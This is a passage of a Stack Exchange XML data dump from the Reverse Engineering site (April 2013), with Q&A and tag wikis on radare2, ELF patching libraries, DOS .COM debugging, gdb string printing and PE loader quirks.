  <row Id="1841" PostTypeId="2" ParentId="1839" CreationDate="2013-04-17T19:55:21.013" Score="3" Body="&lt;p&gt;the lack of icon is merely due to the unpacked executable not having a correct resource DataDirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does the dumped executable actually run (under a debugger)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to try &lt;a href=&quot;http://qunpack.ahteam.org/&quot; rel=&quot;nofollow&quot;&gt;QuickUnpack&lt;/a&gt; or Deroko's &lt;a href=&quot;http://deroko.phearless.org/doer.html&quot; rel=&quot;nofollow&quot;&gt;Dream of every reverser&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-17T19:55:21.013" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1842" PostTypeId="1" AcceptedAnswerId="1844" CreationDate="2013-04-18T09:34:49.823" Score="11" ViewCount="2919" Body="&lt;p&gt;&lt;a href=&quot;http://radare.org/y/&quot;&gt;Radare2&lt;/a&gt; is a framework for reverse-engineering gathering several tools (see this &lt;a href=&quot;http://www.phrack.org/issues.html?issue=66&amp;amp;id=14#article&quot;&gt;Phrack article&lt;/a&gt; about radare1 to know a bit more about the framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if someone could point out the main useful features of the framework for reverse engineering ? And, particularly what makes radare2 different from other tools or frameworks ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-04-20T13:28:30.883" Title="What are the main features of radare2?" Tags="|tools|binary-analysis|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1843" PostTypeId="1" AcceptedAnswerId="1847" CreationDate="2013-04-18T09:43:07.177" Score="11" ViewCount="6750" Body="&lt;p&gt;I would like to be able to rewrite or reorganize an ELF binary program directly from the executable format (not at compile-time). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only library I know to do this is &lt;a href=&quot;http://hg.secdev.org/elfesteem/&quot;&gt;elfesteem&lt;/a&gt; (used in &lt;a href=&quot;http://code.google.com/p/smiasm/&quot;&gt;Miasm&lt;/a&gt;). But, there must be others. So, what are the libraries or frameworks that you use to statically modify ELF executables ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-18T10:06:07.707" LastActivityDate="2021-07-27T01:55:32.483" Title="What are the available libraries to statically modify ELF executables?" Tags="|tools|obfuscation|deobfuscation|elf|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1844" PostTypeId="2" ParentId="1842" CreationDate="2013-04-18T09:46:20.043" Score="15" Body="&lt;p&gt;from its &lt;a href=&quot;http://radare.org/y/?p=features&quot;&gt;feature&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multi-architecture and multi-platform&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GNU/Linux, Android, *BSD, OSX, iPhoneOS, Windows{32,64} and Solaris&lt;/li&gt;&#xA;&lt;li&gt;x86{16,32,64}, dalvik, avr, arm, java, powerpc, sparc, mips, bf, csr, m86k, msil, sh&lt;/li&gt;&#xA;&lt;li&gt;pe{32,64}, [fat]mach0{32,64}, elf{32,64}, te, dex and java classes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Highly scriptable&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vala, Go, Python, Guile, Ruby, Perl, Lua, Java, JavaScript, sh, ..&lt;/li&gt;&#xA;&lt;li&gt;batch mode and native plugins with full internal API access&lt;/li&gt;&#xA;&lt;li&gt;native scripting based in mnemonic commands and macros&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hexadecimal editor&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64bit offset support with virtual addressing and section maps&lt;/li&gt;&#xA;&lt;li&gt;Assemble and disassemble from/to many architectures&lt;/li&gt;&#xA;&lt;li&gt;colorizes opcodes, bytes and debug register changes&lt;/li&gt;&#xA;&lt;li&gt;print data in various formats (int, float, disasm, timestamp, ..)&lt;/li&gt;&#xA;&lt;li&gt;search multiple patterns or keywords with binary mask support&lt;/li&gt;&#xA;&lt;li&gt;checksumming and data analysis of byte blocks&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;IO is wrapped&#xA;&lt;ul&gt;&#xA;&lt;li&gt;support Files, disks, processes and streams&lt;/li&gt;&#xA;&lt;li&gt;virtual addressing with sections and multiple file mapping&lt;/li&gt;&#xA;&lt;li&gt;handles gdb:// and rap:// remote protocols&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Filesystems support&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allows to mount ext2, vfat, ntfs, and many others&lt;/li&gt;&#xA;&lt;li&gt;support partition types (gpt, msdos, ..)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Debugger support&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gdb remote and &lt;strong&gt;brainfuck&lt;/strong&gt; debugger support&lt;/li&gt;&#xA;&lt;li&gt;software and hardware breakpoints&lt;/li&gt;&#xA;&lt;li&gt;tracing and logging facilities&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Diffing between two functions or binaries&#xA;&lt;ul&gt;&#xA;&lt;li&gt;graphviz friendly code analysis graphs&lt;/li&gt;&#xA;&lt;li&gt;colorize nodes and edges&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Code analysis at opcode, basicblock, function levels&#xA;&lt;ul&gt;&#xA;&lt;li&gt;embedded simple virtual machine to emulate code&lt;/li&gt;&#xA;&lt;li&gt;keep track of code and data references&lt;/li&gt;&#xA;&lt;li&gt;function calls and syscall decompilation&lt;/li&gt;&#xA;&lt;li&gt;function description, comments and library signatures&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="38" LastEditDate="2013-04-20T13:28:30.883" LastActivityDate="2013-04-20T13:28:30.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1845" PostTypeId="5" CreationDate="2013-04-18T09:51:16.287" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://radare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Website&lt;/a&gt; | &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source (Github)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;radare2&lt;/strong&gt; is an open source framework for reverse engineering which implements a rich command line interface for disassembling, analyzing data, patching binaries, comparing data, searching, replacing, visualizing and more. It has great scripting capabilities, it runs on all major platforms (GNU/Linux, Windows, *BSD, iOS, OSX, Solaris…) and it supports tons of architectures and file formats.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;features&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multi-architecture and multi-platform&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GNU/Linux, Android, *BSD, OSX, iPhoneOS, Windows{32,64} and Solaris&lt;/li&gt;&#xA;&lt;li&gt;x86{16,32,64}, dalvik, avr, arm, java, powerpc, sparc, mips, bf&lt;/li&gt;&#xA;&lt;li&gt;pe{32,64}, [fat]mach0{32,64}, elf{32,64}, dex and java classes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Highly scriptable&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vala, Go, Python, Guile, Ruby, Perl, lua, Java, JavaScript, sh, ..&lt;/li&gt;&#xA;&lt;li&gt;batch mode and native plugins with full internal API access&lt;/li&gt;&#xA;&lt;li&gt;native scripting based in mnemonic commands and macros&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hexadecimal editor&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64bit offset support with virtual addressing and section maps&lt;/li&gt;&#xA;&lt;li&gt;Assemble and disassemble from/to many architectures&lt;/li&gt;&#xA;&lt;li&gt;colorizes opcodes, bytes and debug register changes&lt;/li&gt;&#xA;&lt;li&gt;print data in various formats (int, float, disasm, timestamp, ..)&lt;/li&gt;&#xA;&lt;li&gt;search multiple patterns or keywords with binary mask support&lt;/li&gt;&#xA;&lt;li&gt;checksumming and data analysis of byte blocks&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;IO is wrapped&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;support Files, disks, processes and streams&lt;/li&gt;&#xA;&lt;li&gt;virtual addressing with sections and multiple file mapping&lt;/li&gt;&#xA;&lt;li&gt;handles gdb:// and rap:// remote protocols&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Filesystems support&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allows to mount ext2, vfat, ntfs, and many others&lt;/li&gt;&#xA;&lt;li&gt;support partition types (gpt, msdos, ..)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Debugger support&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gdb remote and &lt;strong&gt;brainfuck&lt;/strong&gt; debugger support&lt;/li&gt;&#xA;&lt;li&gt;software and hardware breakpoints&lt;/li&gt;&#xA;&lt;li&gt;tracing and logging facilities&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Diffing between two functions or binaries&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;graphviz friendly code analysis graphs&lt;/li&gt;&#xA;&lt;li&gt;colorize nodes and edges&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Code analysis at opcode, basicblock, function levels&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;embedded simple virtual machine to emulate code&lt;/li&gt;&#xA;&lt;li&gt;keep track of code and data references&lt;/li&gt;&#xA;&lt;li&gt;function calls and syscall decompilation&lt;/li&gt;&#xA;&lt;li&gt;function description, comments and library signatures&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="28285" LastEditDate="2019-06-11T09:14:49.707" LastActivityDate="2019-06-11T09:14:49.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1846" PostTypeId="4" CreationDate="2013-04-18T09:51:16.287" Score="0" Body="Opensource reverse engineering framework to disassemble, debug, analyze, manipulate binary files and more." OwnerUserId="188" LastEditorUserId="18698" LastEditDate="2017-11-06T18:06:14.413" LastActivityDate="2017-11-06T18:06:14.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1847" PostTypeId="2" ParentId="1843" CreationDate="2013-04-18T10:57:58.683" Score="7" Body="&lt;p&gt;I just stumbled on this project &lt;a href=&quot;http://www.eresi-project.org/&quot; rel=&quot;noreferrer&quot;&gt;ERESI&lt;/a&gt;. The project itself looks quite ambitious and supports mainly Intel and Sparc processors with some support for others. There are lots of tools as well that might come in handy. It does have one specific tool that sounds like if fits the bill exactly and quite a few others that are related: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/Evarista&quot; rel=&quot;noreferrer&quot;&gt;Evarista&lt;/a&gt;: A work-in-progress static binary program transformer&#xA;  entirely implemented in the ERESI language.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Patchelf might come in handy for modifying the linker or rpaths specified in an elf:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://nixos.org/patchelf.html&quot; rel=&quot;noreferrer&quot;&gt;PatchELF&lt;/a&gt; is a small utility to modify the dynamic linker and RPATH of&#xA;  ELF executables&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also there is this &lt;a href=&quot;http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/bh-europe-01-clowes.ppt&quot; rel=&quot;noreferrer&quot;&gt;presentation about injectso&lt;/a&gt; which seems relevate to the topic static and dynamic patching of elf binaries. Admittedly the coverage on static binaries is limited but that is to be expected as it is more complex that just being a library interposer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for libraries specifically then the ERESI project does use alot of libraries so you could probably take Evarista as a guide and write something more in line with your goals with thier libraries.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibELFsh&quot; rel=&quot;noreferrer&quot;&gt;libelfsh&lt;/a&gt; : the binary manipulation library used by ELFsh, Kernsh,&#xA;  E2dbg, and Etrace.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheEmbeddedELFDebugger&quot; rel=&quot;noreferrer&quot;&gt;libe2dbg&lt;/a&gt; : the embedded debugger library operating within the&#xA;  debuggee program.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibASM&quot; rel=&quot;noreferrer&quot;&gt;libasm&lt;/a&gt; : the smart disassembling engine (x86, sparc, mips, arm)&#xA;  that gives both syntactic and semantic attributes to instructions and&#xA;  their operands.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibMjollnir&quot; rel=&quot;noreferrer&quot;&gt;libmjollnir&lt;/a&gt; : the control flow analysis and fingerprinting&#xA;  library. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibReVM&quot; rel=&quot;noreferrer&quot;&gt;librevm&lt;/a&gt; : the Runtime ERESI virtual machine, that contains the&#xA;  central runtime environment implementation of the framework.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibStdEresi&quot; rel=&quot;noreferrer&quot;&gt;libstderesi&lt;/a&gt; : the standard ERESI library containing more than&#xA;  100 built-in analysis commands.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibAspect&quot; rel=&quot;noreferrer&quot;&gt;libaspect&lt;/a&gt; : the aspect library brings its API to reflect code&#xA;  and data structures in the ERESI language.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibEdFmt&quot; rel=&quot;noreferrer&quot;&gt;libedfmt&lt;/a&gt; : the ERESI debug format library which can convert&#xA;  dwarf and stabs debug formats to the ERESI debug format.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibEtrace&quot; rel=&quot;noreferrer&quot;&gt;libetrace&lt;/a&gt; : the ERESI tracer library, on which Etrace is based. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibKernsh&quot; rel=&quot;noreferrer&quot;&gt;libkernsh&lt;/a&gt; : the Kernel shell library is the kernel accessibility&#xA;  library on which Kernsh is based.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibGdbWrap&quot; rel=&quot;noreferrer&quot;&gt;libgdbwrap&lt;/a&gt; : The GDB serial protocol library, for compatibility&#xA;  between ERESI and GDB/VMware/Bochs/Qemu/OpenOCD.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="117" LastEditorUserId="245" LastEditDate="2013-04-18T22:08:25.607" LastActivityDate="2013-04-18T22:08:25.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1848" PostTypeId="2" ParentId="1812" CreationDate="2013-04-18T13:29:51.827" Score="3" Body="&lt;p&gt;Like many others have stated, there are many different types of professional RCE positions.  I think the first step for you is to determine which aspect of RCE you would like to pursue.  Getting started professionally is a lot easier if you are able to specialize in a particular area: malware, vuln research, DRM, firmware reversing for compatibility, T&amp;amp;E, etc...  If I were you, the next thing I would try to do is find my focus.  I can tell you from experience that there are &lt;strong&gt;plenty&lt;/strong&gt; of incident response teams looking for good malware analysts. &lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-04-18T13:29:51.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1849" PostTypeId="1" AcceptedAnswerId="1859" CreationDate="2013-04-18T14:14:04.363" Score="4" ViewCount="710" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/59/what-are-the-essential-ida-plugins-or-ida-python-scripts-that-you-use/62#62&quot;&gt;Some posts&lt;/a&gt; reference the &lt;a href=&quot;http://www.openrce.org/downloads/details/186/mIDA&quot; rel=&quot;nofollow noreferrer&quot;&gt;mIDA&lt;/a&gt; plugin, but the download site seems unavailable. Is there any mirror or a link to an archive version?&lt;/p&gt;&#xA;" OwnerUserId="1783" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-18T21:09:37.500" Title="where can I get mIDA" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1851" PostTypeId="2" ParentId="1843" CreationDate="2013-04-18T18:09:23.283" Score="6" Body="&lt;p&gt;I think your best bet will be to take a low level ELF library and write a small program to do what you want. I like the &lt;a href=&quot;http://sourceforge.net/apps/trac/elftoolchain/&quot; rel=&quot;noreferrer&quot;&gt;ELF Toolchain Project&lt;/a&gt;. I've found the tests and documentation that the team puts together to be pretty good. Regardless of what tool you end up using, you definitely want to read &lt;a href=&quot;http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html&quot; rel=&quot;noreferrer&quot;&gt;A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux&lt;/a&gt; which discusses how to modify an ELF executable to be as small as possible (your purpose may be different but there are a lot of general lessons to be had).&lt;/p&gt;&#xA;" OwnerUserId="1785" LastActivityDate="2013-04-18T18:09:23.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1852" PostTypeId="1" CreationDate="2013-04-18T18:26:48.757" Score="5" ViewCount="482" Body="&lt;p&gt;I have an executable that runs in the operating system, but when when I open it in &lt;code&gt;$tool&lt;/code&gt; I get an error. What is going on?&lt;/p&gt;&#xA;" OwnerUserId="1785" LastEditorUserId="189" LastEditDate="2013-06-04T02:09:23.797" LastActivityDate="2013-06-04T02:09:23.797" Title="Why does an executable give an error when opened in $tool?" Tags="|tools|malware|file-format|pe|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1853" PostTypeId="2" ParentId="1852" CreationDate="2013-04-18T18:26:48.757" Score="9" Body="&lt;p&gt;This is caused by a differences in the operating system's loader and the file format parsing code in the tool you are using. Malicious program authors often exploit differences between an executable file format's specification and how the file format is actually used by the loader in practice. If there are differences between the file format specification and the operating system loader, there exist executables which will run but are not legal according to the specification! For example, &lt;a href=&quot;https://code.google.com/p/pefile/source/browse/trunk/pefile.py#1789&quot;&gt;up until Windows Vista a PE executable can be missing several header fields and the Window's loader will still load it&lt;/a&gt;. It's likely your tool was written by looking at the file format specification and not at the implementation of the loader and thus cannot necessarily handle all executables which are successfully loaded by the operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality an executable file format is specified in three categories of places:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the formal file format specification&lt;/li&gt;&#xA;&lt;li&gt;the implementation of the operating system's loader&lt;/li&gt;&#xA;&lt;li&gt;the implementation of third party tools&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These three things often differ in very subtle ways and malicious program authors take advantage of this fact. Just remember that the ultimate arbiter for whether something is a valid executable or not is the loader. If the executable runs but your tools are failing, your tools do not take into account the real-world behavior of the operating system loader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/corkami/wiki/PE&quot;&gt;The best work documenting this phenomena that I am aware of is by Ange Albertini for the PE executable file format&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1785" LastEditorUserId="1785" LastEditDate="2013-04-20T21:21:37.980" LastActivityDate="2013-04-20T21:21:37.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1854" PostTypeId="1" AcceptedAnswerId="1855" CreationDate="2013-04-18T20:07:52.410" Score="8" ViewCount="1162" Body="&lt;p&gt;What can I do to reverse engineer a DOS .COM file? As far as debugging goes, I've looked DEBUG and DEBUGX from the creators of FreeDOS, as well as the default DEBUG command that comes with Windows. Sure, I can probably work with them and eventually figure out what I'm doing, but I feel like the process would end up being longer than necessary. Is there a better tool I can use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no &quot;better&quot; tools than DEBUG or DEBUGX, then what can I use to work with output from these two tools? My main goal is to create something that mimics the .COM program, but in a more manageable format (as far as code goes).&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="188" LastEditDate="2013-04-18T20:12:30.697" LastActivityDate="2015-07-25T07:56:45.687" Title="Working with DOS .COM files" Tags="|tools|windows|dos-com|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1855" PostTypeId="2" ParentId="1854" CreationDate="2013-04-18T20:10:16.543" Score="7" Body="&lt;p&gt;I personally use &lt;a href=&quot;http://www.dosbox.com&quot;&gt;DosBox&lt;/a&gt; debugger, which is quite complete, with a SoftICE-like interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you can go for DOS debuggers like Turbo Debugger or CodeView.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-18T20:10:16.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1856" PostTypeId="5" CreationDate="2013-04-18T20:14:34.270" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;limited to (65535-256) bytes, single segment&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://raw.githubusercontent.com/corkami/pics/master/binary/COM101.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;description poster&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="60" LastEditDate="2017-06-24T18:12:23.227" LastActivityDate="2017-06-24T18:12:23.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1857" PostTypeId="4" CreationDate="2013-04-18T20:14:34.270" Score="0" Body="COM files are headerless 16-bit executable files which were used in CP/M, PC-DOS, and MS-DOS. The files also run under 32-bit versions of Windows via NTVDM or in emulation software such as DosBox or DOSEMU..&#xD;&#xA;For Component Object Model, use the tag &quot;com&quot; instead." OwnerUserId="188" LastEditorUserId="60" LastEditDate="2017-06-24T18:12:23.227" LastActivityDate="2017-06-24T18:12:23.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1858" PostTypeId="2" ParentId="1854" CreationDate="2013-04-18T20:56:31.950" Score="5" Body="&lt;p&gt;As an alternative to &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1855/245&quot;&gt;Ange's answer&lt;/a&gt; I would like to offer &lt;a href=&quot;https://github.com/wjp/idados&quot; rel=&quot;nofollow noreferrer&quot;&gt;idados&lt;/a&gt;. I've had good experiences with it when trying to reverse engineer a program and the accompanying file format. It &lt;em&gt;also&lt;/em&gt; makes use of &lt;a href=&quot;http://www.dosbox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DOSBox&lt;/a&gt;. But if you have a proper IDA Pro license it is - I think - slightly more convenient.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-18T20:56:31.950" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1859" PostTypeId="2" ParentId="1849" CreationDate="2013-04-18T21:09:37.500" Score="9" Body="&lt;p&gt;I was just sent &lt;a href=&quot;https://www.dropbox.com/s/yj30fqj2dxxlmnj/mIDA-1.0.10.zip&quot;&gt;mIDA-1.0.10&lt;/a&gt;, from 2008.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mIDA is an IDA plugin which extracts RPC interfaces and recreates the associated IDL file.&#xA;mIDA supports inline, interpreted and fully interpreted server stubs.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-18T21:09:37.500" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1860" PostTypeId="1" AcceptedAnswerId="1861" CreationDate="2013-04-19T04:02:20.333" Score="6" ViewCount="3708" Body="&lt;p&gt;Are there any useful snippets or Gdb functions that you guys normally use to print out Unicode strings? I'm trying to debug Mach-O binaries and &lt;code&gt;x/s&lt;/code&gt; seems to be printing out junk. I believe the default encoding for Objective C strings is UTF-16.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="107" LastEditDate="2013-04-21T10:31:13.937" LastActivityDate="2013-04-30T20:14:55.007" Title="Printing Unicode strings in Gdb in OSX" Tags="|osx|gdb|encodings|mach-o|strings|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1861" PostTypeId="2" ParentId="1860" CreationDate="2013-04-19T06:09:52.647" Score="4" Body="&lt;p&gt;If you think the encoding is wrong then you can try these 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try using &lt;code&gt;x/hs&lt;/code&gt; &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Memory.html&quot;&gt;as described here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each time you specify a unit size with x, that size becomes the default unit the next time you use x&#xA;  ...&#xA;  Use x /hs to display 16-bit char strings&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set the character set in gdb &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Character-Sets.html&quot;&gt;as described here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gdb has no way to automatically recognize which character set the inferior program uses; you must tell it, using the set target-charset command, described below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-19T06:09:52.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1862" PostTypeId="5" CreationDate="2013-04-19T06:37:59.990" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Nicolas Seriot's &lt;a href=&quot;http://seriot.ch/hello_macho.php&quot; rel=&quot;nofollow&quot;&gt;Mach-O Walkthrough&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-19T06:37:59.990" LastActivityDate="2013-04-19T06:37:59.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1863" PostTypeId="4" CreationDate="2013-04-19T06:37:59.990" Score="0" Body="the Mach object file format is the standard executable format in iOS, Mac OS X, NeXTSTEP." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-19T06:37:59.990" LastActivityDate="2013-04-19T06:37:59.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1864" PostTypeId="5" CreationDate="2013-04-19T14:26:59.823" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-19T14:26:59.823" LastActivityDate="2013-04-19T14:26:59.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1865" PostTypeId="4" CreationDate="2013-04-19T14:26:59.823" Score="0" Body="A disassembler is a software tool which transforms machine code into a human readable mnemonic representation called assembly language." OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-19T14:30:45.767" LastActivityDate="2013-04-19T14:30:45.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1867" PostTypeId="2" ParentId="1839" CreationDate="2013-04-19T16:14:19.137" Score="4" Body="&lt;p&gt;I'm not sure how much trouble you'd be willing to go through, but I'd suggest taking a full memory dump with something like &lt;a href=&quot;http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/&quot; rel=&quot;nofollow&quot;&gt;DumpIt&lt;/a&gt; and use &lt;a href=&quot;https://www.volatilesystems.com/default/volatility&quot; rel=&quot;nofollow&quot;&gt;Volatitlity&lt;/a&gt;s' &quot;&lt;a href=&quot;http://code.google.com/p/volatility/wiki/CommandReference#procmemdump&quot; rel=&quot;nofollow&quot;&gt;procmemdump&lt;/a&gt;&quot; command to pull the running process.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-04-19T16:14:19.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
